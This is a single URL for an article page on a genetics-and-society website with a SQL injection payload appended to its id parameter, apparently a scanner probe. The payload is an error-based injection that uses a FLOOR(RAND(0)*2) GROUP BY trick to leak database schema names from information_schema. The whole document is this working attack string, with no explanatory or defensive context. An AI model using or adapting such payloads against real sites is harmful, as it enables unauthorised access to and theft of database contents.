http://www.geneticsandsociety.org/article.php?id=4519 AND (SELECT 512 FROM(SELECT COUNT(*),CONCAT(CHAR(58,98,118,106,58),(SELECT MID((IFNULL(CAST(schema_name AS CHAR),CHAR(32))),1,50) FROM information_schema.SCHEMATA LIMIT 1,1),CHAR(58,98,103,113,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)